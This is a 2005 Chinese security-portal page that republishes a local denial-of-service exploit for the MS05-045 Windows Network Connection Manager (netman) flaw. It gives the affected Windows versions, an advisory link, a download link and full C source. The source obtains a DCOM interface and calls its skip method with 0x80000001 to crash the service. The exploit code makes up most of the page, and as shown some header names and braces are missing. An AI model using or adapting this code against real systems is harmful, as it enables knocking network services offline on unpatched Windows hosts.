⊙ 在线帮助
⊙ 添加收藏
⊙ 网站地图
最新资讯
技术中心
下载园地
漏洞总汇
在线书籍
X-档案
法规标准
技术论坛
 您现在的位置 >> 首页 >> 技术中心 >> 黑客技术 >> exploit >> local
 
 
MS05-045: Microsoft Windows Network Connection Manager Local DoS Exploit

【责 编】:AcOol
【作 者】:不详
【时 间】:2005-10-14
【浏 览】:
【出 处】:天天安全网
【字 体】:[   ]
漏洞资料:
http://www.microsoft.com/china/technet/security/bulletin/ms05-045.mspx
危险程度:
    低等
影响范围:
Microsoft Windows 2000 Service Pack 4  
Microsoft Windows XP Service Pack 1  
Microsoft Windows XP Service Pack 2  
Microsoft Windows Server 2003  
Microsoft Windows Server 2003 Service Pack 1
程序
下载:
http://coolersky.com/common/files/exploit/ms05045-netman-expl.c
程序代码:
/* Windows Netman Service Local DOS Vulnerability 
*  
* By bkbll bkbll#cnhonker.net 2005-7-14 2:49下午 

* TESTED ON win2k sp4 
*  
* EventSystem,Irmon,RasMan,NtmsSvc,SENS 
*  
*/ 
#define _WIN32_DCOM 

#include  
#include  
#include  
#include  
#include  

#pragma comment(lib,"ole32") 

MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E") 
VCConnectionManagerEnumConnection //: public IDispatch 

public: 
virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0; 
virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0; 
virtual ULONG STDMETHODCALLTYPE Release( void) = 0; 
virtual HRESULT STDMETHODCALLTYPE next(void) = 0; 
virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0; 
virtual HRESULT STDMETHODCALLTYPE reset(void) = 0; 
virtual HRESULT STDMETHODCALLTYPE clone(void) = 0; 
}; 
CLSID CLSID_ConnectionManagerEnumConnection = {0x0BA126AD2,0x2166,0x11D1, 
{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}}; 
IID IID_IEnumNetConnection = {0xC08956A0,0x1CD3,0x11D1, 
{0x0B1,0x0C5, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}}; 

//主函数 
main(int argc,char **argv) 

VCConnectionManagerEnumConnection *clientcall; 
HRESULT hr; 

printf("Windows Netman Service Local DOS Vulnerability..\n\n"); 
//初始化 
CoInitializeEx(NULL,COINIT_MULTITHREADED); 

printf("DCOM Client Trying started\n"); 
hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection,NULL, 
CLSCTX_LOCAL_SERVER,IID_IEnumNetConnection,(void**)&clientcall); 
if (hr != S_OK) 

printf("CoCreateInstanceEx failed:%d\n",GetLastError()); 
return -1; 

printf("Exploit netman service ....\n"); 
hr = clientcall->skip(0x80000001);//(void**)&p); 
if(SUCCEEDED(hr)) 

printf("Call client proc Success.\n"); 

else 
printf("Call client proc failed:%d\n",GetLastError()); 
hr = clientcall->Release(); 
CoUninitialize(); 
printf("Client exited.\n"); 
return 1; 
}
·本站特别声明不要转载或作者授权本站独家播发的文章,请勿转载。
·本站原创文章可自由转载,但本站作者及本站链接必须保留。
·非本站原创文章可自由转载,请按作者及文章出处一节,自行链接。
·转载之图片、文件,链接请不要盗链到本站,且不准打上各自站点的水印,亦不能抹去我站点水印。

+ 本站推荐 +
·ARP病毒问题的处理
·千兆以太网技术综述
·解析来自Autorun.inf文件的攻击
·破解Windows XP组策略的“锁死
·Linux Kernel 2.6.13 <= 2.6.1
+ 相关文章 +
·Linux Kernel 2.6.13 <= 2.6.1
·SCO Unixware 7.1.3 ptrace lo
·MySQL 4.x/5.0 User-Defined F
·SuSE Linux <= 9.3, 10 (chfn)
·MS05-044: Microsoft Windows
+ 热点文章 +
·没有硝烟的战争:网络禁用与突
·“Worm.Win32.Viking.i”病毒分
·MSN登陆问题(MSN不能登陆的N种
·CnsMinKP.sys文件损坏导致系统
·Ethereal使用入门
+ 原创文章 +
·“Worm.Win32.Viking.i”病毒分
·信息安全产业三部曲之“敦刻尔
·Dvbbs7.1 sp1 SQL版savepost.a
·针对西京大学网站的一次安全性
·phpBB 2.0.12非法获取管理员权
 
 
关于站点 | 免责申明 | 版权隐私 | 业务合作 | 提供捐助 | 联系我们 Copyright © 2001-2005 CoolerSky. All Rights Reserved.